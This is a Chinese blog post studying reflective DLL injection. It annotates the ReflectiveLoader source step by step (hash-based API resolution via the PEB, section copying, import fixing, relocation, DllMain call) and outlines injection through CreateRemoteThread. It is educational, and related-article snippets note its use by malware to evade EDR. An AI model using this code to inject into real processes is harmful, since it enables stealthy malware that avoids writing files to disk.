Dll反射式注入法-代码学习

最新推荐文章于 2022-04-06 23:03:54 发布
最新推荐文章于 2022-04-06 23:03:54 发布
阅读量1k 收藏 3
点赞数
分类专栏： windows基础
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yshshx/article/details/103206142
版权

原理

--------------------------------------------------------------------------------有任何错误，请留言指正。
主要功能：将需要注入的dll写入进程内存，用注射器实现LoadLibrary的功能，使用CreateRemoteThread函数将注射器启动。

  1. 将待注入DLL读入自身内存，Dll的导出注射器ReflectiveLoader
  2. 利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
  3. 利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader
    特点：避免文件落地

注射器代码解析

  1. 当前在内存中，获取images base address；
  2. 从当前进程中获取一些必要的函数地址：
    KERNEL32.DLL
    VirtualAlloc(用来为镜像要加载的地址分配空间)
    LoadLibraryA（加载导入表中的dll）
    GetProcAddress（获取dll中已知函数名称的函数地址）
    NTDLL.DLL
    NtFlushInstructionCache（刷新数据，让CPU执行新指令)
  3. 复制头部和区段
  4. 修改导入表中的IAT（导入地址表）
  5. 基址重定位
  6. 获取函数入口，并重定义函数入口

获取Dll起始位置

uiLibraryAddress = caller();
while (TRUE)
{
	if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
	{
        	//pe头偏移RVA
        	uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
	       	//判断PE头的正确性        
        	if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
        	{
        		//pe头在内存中的位置
        		uiHeaderValue += uiLibraryAddress;
        		//如果找到文件头就退出循环
        		if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
        			break;
        	}
	}     
	uiLibraryAddress--;
}

caller();的定义为：

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址，也就是caller()的下一条指令的地址。
这个地址位于ReflectiveLoader的内部，即位于被注入的DLL文件内部，然后遍历查找PE文件头。

获取所需的API

首先，获取当前进程的基地址。
然后借助PEB (ProcessEnvironment Block)来查找kernel32.dll和ntdll.dll在内存中的位置。

#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif

每一个线程都具有一个TEB结构，其中记录了相关线程的一些基本信息。线程运行时，其GS段寄存器记录了其TEB的位置。对于X64系统，寄存器位置gs:[0x60]中，存放的是PEB结构的地址。
在PEB结构的0x0C偏移处，是一个指向PEB_LDR_DATA结构体的指针。其中的三个LIST_ENTRY是三个链表，按照不同的顺序规则将当前进程加载的所有模块链接起来。
通过遍历其中的任意一个LIST_ENTRY，我们就可以获得所有模块的基地址，然后查找该模块中的导出表，就可以找到我们需要的函数当前地址。
需要用到的函数如下：
VirtualAlloc-用来为镜像要加载的地址分配空间
LoadLibraryA、GetProcAddress-处理导入表
NtFlushInstructionCache-刷新数据，让CPU执行新指令

//获取PEB_LDR_DATA structure结构指针，包含进程有关模块的信息
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
//获取模块目录的第一个入口
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
 {
 	//当前模块的名称
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	//名称长度
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	//计数
	uiValueC = 0;
	//计算HASH值
	do
	{
		uiValueC = ror( (DWORD)uiValueC );
		// normalize to uppercase if the madule name is in lowercase
		if( *((BYTE *)uiValueB) >= 'a' )
			uiValueC += *((BYTE *)uiValueB) - 0x20;
		else
			uiValueC += *((BYTE *)uiValueB);	
		uiValueB++;
	} while( --usCounter );

	//如果是kernel32.dll
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )
	{
		//获取导出表，查找导出函数
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
		usCounter = 3;
		while( usCounter > 0 )
		{
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
			{
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == GETPROCADDRESS_HASH )
					pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == VIRTUALALLOC_HASH )
					pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				usCounter--;
			}
			//获取下一个导出函数
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
	else if( (DWORD)uiValueC == NTDLLDLL_HASH )
	{
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
		usCounter = 1;
		while( usCounter > 0 )
		{
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
			{
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					usCounter--;
			}
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
	四个函数都找完，则结束该循环
	if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
		break;
	//获取下一个入口
	uiValueA = DEREF( uiValueA );
}

复制PE头和各个区段

复制PE文件头部

//获取文件头
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//使用上一节获取的函数分配内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
//头部大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//文件地址
uiValueB = uiLibraryAddress;
//内存地址
uiValueC = uiBaseAddress;
//将读取到的文件PE头复制到分配的内存中
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

下一段代码是复制各个区段

//获取第一个区段的地址和区段数
//可选头地址+可选头大小是第一个区段的位置
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
	//基地址+区段中存储的RVA，就是区段的虚拟地址，也就是内存中的地址
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
	//文件地址——区段中存储的Raw，就是区段的文件地址，也就是当前PE文件读取到内存中的位置
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
	//区段大小
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
	while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
	//获取下一个区段
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

修改导入表的IAT

被注入的DLL可能还依赖于其他的DLL，因此我们还需要装载这些被依赖的DLL，并修改本DLL的引入表，使这些被引入的函数能正常运行。
PE文件的导入表中存在两个表，导入表(INT，unbound IAT)和导入地址表(IAT)。在未导入时，两个表是一致的。当导入一个模块的时候，原始导入表INT存放的是原始数据，不会有变化；而导入地址表中存放的是该模块导入后，各个导入函数的实际函数地址。

//获取导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
	//获取INT和IAT表，加载该模块
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
	while( DEREF(uiValueA) )
	{
		//判断是按序号导入
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{
			//从加载的模块的导出表中查找该序号的函数
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
			//获取导出表中的函数地址表
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
			//获取函数地址表中存放的函数地址
			//函数序号-起始序号
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
			//写入到当前IAT中
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
		else
		{
			//如果是按名字导入的，则直接使用函数GetProcAddress即可
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		//获取下一个需要修改IAT的位置
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}
	//获取下一个需要修改的导入模块
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

基址重定位

被注入的DLL只有其ReflectiveLoader中的代码使用全部都是局部变量，不需要重定位。其他部分的代码则需要经过重定位才能正确运行。幸运的是DLL文件提供了我们进行重定位所需的所有信息，这是因为每一个DLL都具有加载不到预定基地址的可能性，所以每一个DLL都对自身的重定位做好了准备。
基址重定位表的结构如下：

typedef struct _IMAGE_BASE_RELOCATION
{
    DWORD VirtualAddress;
    DWORD SizeOfBlock;
    WORD TypeOffset[1];
}IMAGE_BASE_RELOCATION;

IMAGE_BASE_RELOCATION之所以是一个数组，是因为每个IMAGE_BASE_RELOCATION只负责4KB大小分页内的重定位信息，换句话说PE文件中需要重定位的部分每隔0x1000字节就有一个IMAGE_BASE_RELOCATION负责。也因此结构中的VirtualAddress总是0x1000的倍数。基址重定位详细解释
在IMAGE_BASE_RELOCATION结构体的后面紧接着就是该页需要重定位所有TypeOffset：
TypeOffset低12位是需要重定位位置在该页内的偏移，所以只需要12位就足够了。
TypeOffset的高4位是重定位信息的类型，不同类型的修正方法不同。
事实上，Windows只用了一种类型IMAGE_REL_BASED_HIGHLOW ，Type是 3。
需要重定位的数据位置 = ImageBase + VirtualAddress + TypeOffset低12位

//获取基址重定位表
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
	//获取需要重构定位的那一页
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
	{
		//判断获取需要重定位的页
		uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
		//需要重定位的个数=（该表的尺寸减去IMAGE_BASE_RELOCATION的结构体大小）/IMAGE_RELOC结构体的大小
		uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
		//获取需要重定位的Offset
		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
		while( uiValueB-- )
		{
			if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
				//当前镜像地址+VA+Offset
				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
			//获取下一个重定位位置
			uiValueD += sizeof( IMAGE_RELOC );
		}
		//获取下一个重定位表
		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
	}
}

获取函数入口

最后，将控制权转交给DLL文件的入口点，这个入口点可以通过NT可选印象头中的AddressOfEntryPoint找到。一般地，它会完成C运行库的初始化，执行一系列安全检查并调用dllmain。

//获取函数入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
//清除指令缓存以避免问题
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );

至此，整个注射器任务就完成了，执行完这个函数之后，整个dll就会被加载到进程中。

注射器的使用

如何实现这个加载呢。

  1. 打开目标进程，提升当前进程权限
  2. 获取DLL中反射加载器函数的地址。
  3. 在目标进程中分配内存，将DLL写入缓冲区WriteProcessMemory。
  4. 创建远程线程CreateRemoteThread。

关于这一点，dll在编写过程中，需要将反射器函数导出，方便查找函数位置。
在创建远程线程时候，将反射器函数的地址作为线程起始点即可。

bobo小妞儿~
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
深入理解反射式dll注入技术
m0_67698950的博客
06-22 1327
前言dll 注入技术是让某个进程主动加载指定的 dll 的技术。恶意软件为了提高隐蔽性，通常会使用 dll 注入技术将自身的恶意代码以 dll 的形式注入高可信进程。常规的 dll 注入技术使用 LoadLibraryA() 函数来使被注入进程加载指定的 dll。常规dll注入的方式一个致命的缺陷是需要恶意的 dll 以文件的形式存储在受害者主机上。这样使得常规 dll 注入技术在受害者主机上留下痕迹较大，很容易被 edr 等安全产品检测到。为了弥补这个缺陷，stephen fewer 提出了反射式 dll
[web安全]深入理解反射式dll注入技术
HBohan的博客
03-23 2066
一、前言 dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性，通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。 常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大，很容易被edr等安全产品检测到。为了弥补这个缺陷，stephen fewer提出了反射式dll注入技术并在github开源，反
反射式dll注入
摔不死的笨鸟的博客
08-27 6449
前不久实现了经典dll注入exe，实现注入到用户层面进程，比如notepad.exe和wps.exe。（像金山毒霸kxetray.exe有自我保护机制也注入不进去）。由于对会话隔离注入不太了解，怕搞坏主机，没有再去实现注入到系统进程中。最近在网上看到dll反射注入，想把学习总结的笔记给大家分享一下。 首先什么是反射式注入？它和传统经典注入有什么区别呢？我这里作个比喻。 经典式： 在别人的内存里调用...
C/C++ DLL反射式注入内存手动映射
CSDN
07-16 8301
首先计算得到基地址的偏移量，也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址(保存在 NT可选头的 ImageBase 中，实际 DLL 加载地址是我们调用 VirtualAlloc()的返回值。首先使用 _ReturnAddress() 获取当前函数的返回地址，因为调用这个函数是在 ReflectiveLoader 的内部，因此从这个地址向上遍历，找 0x4d ，0x5a 就可以定位到 DLL 的 PE 文件头所在的虚拟地址 (oﾟvﾟ)ノ。将 DLL 的 PE文件头和各个节复制到对应的位置。
反射式dll注入(ReflectiveDLLInjection)
随心动，随风行
04-30 3827
学习基于stephenfewer大佬的项目：ReflectiveDLLInjection 有兴趣的同学可以下载研究
DLL 注入 —— 反射式注入（内存手动映射）
LYSM
07-19 3056
介绍 反射式注入 dll ，不会调用 LoadLibrary 这个 API，因此也无法使用 CreateToolhelp32Snapshot 遍历到这个模块。同时也不需要 DLL 留在磁盘上（可以通过网络下发，或加密后存放在磁盘），因此这种注入方式更加隐蔽。 原理 总的来说，就是我们要重新实现一遍 LoadLibrary 这个 API ????： 假设现在我们已经使用 ReadFile 拿到了 DLL 的所有内容 之后我们需要调用 VirtualAlloc 在目标进程中申请一块内存用来存放这个 DLL
修改jar 注入_反射型DLL注入工具-sRDI
weixin_39858298的博客
10-21 325
反射型DLL注入 DLL 注入首先，我们需要了解什么是反射型DLL注入。DLL 注入就是将 DLL（动态链接库，是一个包含可由多个程序，同时使用的代码和数据的库。例如，在 Windows 操作系统中，Comdlg32.dll 执行与对话框有关的常见函数。）放进某个进程的地址空间里，让它成为那个进程的一部分。要实现 DLL 注入，首先需要打开目标进程。DLL 注入也被很多合法软件广泛的使用，但恶意软...
【ReflectDllInjection】 反射型DLL注入
dr0op's blog
04-06 3197
常规dll注入 这里引用一张图来表示： 反射型DLL注入思路： 读入原始DLL文件至内存缓冲区 解析DLL标头并获取SizeOfImage 将DLL标头和PE节复制到步骤3中分配的内存空间 执行重定位 加载DLL导入的库 解析导入地址表（IAT） 调用DLL的DLL_PROCESS_ATTACH 反射型dll注入与其他dll注入不同的是，其不需要使用LoadLibrary这一函数，而是自己来实现整个装载过程。我们可以为待注入的DLL添加一个导出函数，ReflectiveLoader，这个函数的功能就是
reflective dll injection 反射注入
hambaga的博客
02-20 1477
一、reflective dll injection 反射注入介绍 网上对反射注入的定义是只通过内存把DLL注入到特定进程中，也就是说整个过程都不涉及文件操作。 优点 规避杀软基于文件系统的检测 不会在进程的DLL链表里留下记录 通过特殊处理，可以使用正常的方式编写DLL，实现shellcode的效果 缺点 DLL体积较大，相比于shellcode注入，更容易被检测 二、修改dos头，填入精心构造的 bootstrap shellcode metasploit 实现的bootstrap
Windows 反射式注入DLL
12-13
Windows反射式注入DLL是一种高级的系统编程技术，主要用于在运行时将动态链接库（DLL）加载到目标进程的地址空间中。这种方法不依赖于传统的API函数，如`LoadLibrary()`或`GetProcAddress()`，而是利用了DLL自身来...
Phage:反射式DLL注入式过程感染器
04-29
Phage是一种特殊的恶意软件技术，它采用了反射式DLL注入（Reflective DLL Injection）的方法来感染其他进程，但与传统的DLL注入不同，它不直接注入动态链接库（DLL），而是将可执行文件自身注入目标进程中。...
windows-DLL注入
08-14
- **Reflective DLL Injection**：反射式DLL注入，DLL自身负责加载到目标进程，无需外部辅助工具。 - **Service Injection**：通过服务控制来实现DLL注入。 - **Driver-Based Injection**：利用驱动程序在内核层进行...
C#动态获取DLL类库文件中的方法并调用
11-18
DLL是一种共享代码的机制，多个应用程序可以同时使用同一DLL中的函数或类，从而节省内存并便于代码维护。在C#中，我们通常通过`using`指令引入DLL中的命名空间和类型，但在某些情况下，如未知DLL或需要在运行时决定...
dotNet中的反射用法入门教程
09-02
3. 自动化工具：例如序列化和反序列化，代码生成，依赖注入框架等，都依赖于反射来获取类型信息并执行相应的操作。 4. 扩展性：反射使得插件式架构成为可能，允许在运行时加载和使用未知的第三方组件。 5. 兼容性...
驱动入口函数DriverEntry的简单概述
yshshx的博客
04-27 4904
概述 每一个驱动都有一个驱动入口函数DriverEntry 当IO Manager记载驱动时，就会调用驱动入口函数DriverEntry 当添加驱动折别是，该驱动入口函数负责驱动初始化。 初始化任务主要有确定驱动使用对象，设置驱动系统资源。 驱动入口只有IRQL=PASSIVE_LEVEL级别的系统线程可以调用 驱动对象简介DRIVER_OBJECT I / O管理器为已安装和加载的每个驱动程序创...
IAT hook与inline hook的区别
yshshx的博客
11-24 1797
IAT hook 导入表hook原理：修改导入表中某函数的地址到自己的补丁函数。IATHook 通过GetProcAddress获取目标函数地址 在程序内存中找到所在dll的导入表 查找目标函数地址保存的位置 把地址修改为自己补丁函数 问题：当该函数递归调用时，不会被hook 为解决这个问题，可以使用inline hook inline hook 需要一个代理函数ProxyFunction，调...
隐藏进程-学习总结
yshshx的博客
12-05 533
原理 1向进程中注入dll 2dll的功能是：hook创建进程，和hook ZwSystemInformation
kechengsheji2021.zip
最新发布
07-30
kechengsheji2021.zip
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值